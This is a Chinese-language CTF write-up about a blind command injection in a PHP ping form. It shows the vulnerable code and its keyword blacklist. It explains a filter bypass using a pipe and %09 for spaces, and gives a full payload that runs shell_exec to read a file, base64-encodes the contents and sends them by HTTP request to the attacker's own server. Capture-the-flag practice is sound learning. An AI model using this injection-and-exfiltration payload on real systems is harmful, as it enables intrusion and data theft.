CTF中ping文件執行漏洞無回顯反彈拿flag

打開網頁內容如下
在這裏插入圖片描述
我們來看一下核心代碼

<?php
           include_once "code.txt";
           if (isset($_POST['ip'])) {
               $p=$_POST['ip'];
               if(preg_match("/(;|`|&| |\\$|python|ruby|perl|bash|rm|cp|mv|\*|\{)/i", $p)){
                   die("Hacker!");
               }
               $cmd = 'ping -c1 '.$_POST['ip'];
               $result = runLocalCommand($cmd);
               if ($result) {
                   echo "Success!";
               } else {
                   echo "Error!";
               }
           }
           ?>

preg_match()是PHP裏用於正則表達式匹配的

正則表達式包含在/ /中間

preg_match("/(;|`|&| |\\$|python|ruby|perl|bash|rm|cp|mv|\*|\{)/i", $p)

這句代碼就在$p變量裏查找是否有如下符號

; ’ & 空格 $ python ruby perl bash rm cp mv *

所以你在對話框裏輸入的指如果包含了以上的符號那麼IF語句就會成立 就會輸出Hacker! 下面的就不會執行了。
所以這條語句就是起到了一個過濾的作用,我們第一個任務就是要繞過這個限制讓我們的指不出現上面的符號。
這個地方只要輸入能用的IP ping成功了就會返回success比如使用本機的回送地址127.0.0.1 經常用來做測試用
沒通或者輸入的既不是能用的ip也繞過了上面的過濾的話就會返回error!

linux中管道符“|”的作用
在這裏插入圖片描述
1正確輸出,作爲2的輸入 然後2的輸出作爲 3的輸入 ,3輸出就會直接顯示在屏幕上面了。
通過管道之後:1,2的正確輸出不顯示在屏幕上面
所以我們執行 127.0.0.1|ls 返回success! 說明執行成功了。
可是目標服務器沒有回顯 所以你看不到東西
我在我自己的服務器上搭建環境後執行這條語句會出現回顯
在這裏插入圖片描述
和我服務器裏面的文件名一致,如果有回顯示的話就很容易拿到flag了。

沒有回顯如何拿flag
經過百度谷歌等搜索總結 需要反彈shell

我們採用命令繞過%09替換空格 使用base_64加密執行php代碼來拿flag文件

首先先介紹幾個命令
sh -c" 命令,它可以讓我們輸入的一個字串作爲完整的命令來執行
php中 “eval()” 把字符串按照 PHP 代碼來計算。
base64_encode(‘內容’) 用base64加密php代碼
base64_decode(‘內容’) 解碼用base64加密的內容
shell_exec() 用來執行shell命令的函數
file_get_contents("http://
*.***.***.*"); 可以用來向我們的服務器發送http請求還可以將文件讀入字符串
中。

在這裏插入圖片描述
首先配置好環境,使用burp來抓包(自行百度學會burp抓包)
在這裏插入圖片描述
修改數據包如下:

ip=127.0.0.1|sh -c echo "
<?php
base64_decode(\"
$r=shell_exec("cat exec.php");
$r2=base64_encode($r);
file_get_contents("http://你的服務器/".$r2);
\")
?>
"|php'

將空格改成%09 得到

ip=127.0.0.1|sh%09-c%09'echo%09"<?php%09base64_decode(\"
$r=shell_exec("cat exec.php");
$r2=base64_encode($r);  
file_get_contents("http://你的服務器/".$r2);
\")%09?>"|php'


加上eval()得到playlloadr如下:

ip=127.0.0.1|sh%09-c%09'echo%09"<?php%09eval(base64_decode(\"
$r=shell_exec("cat exec.php");
$r2=base64_encode($r);
file_get_contents("http://你的服務器/".$r2);
\"))%09?>"|php'

最後查看自己服務器的日誌(acces.log)
得到一串base64編碼的請求
在這裏插入圖片描述
通過解碼後得到flag!
在這裏插入圖片描述
注意:用eval()後IP會被阿里雲封半小時

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章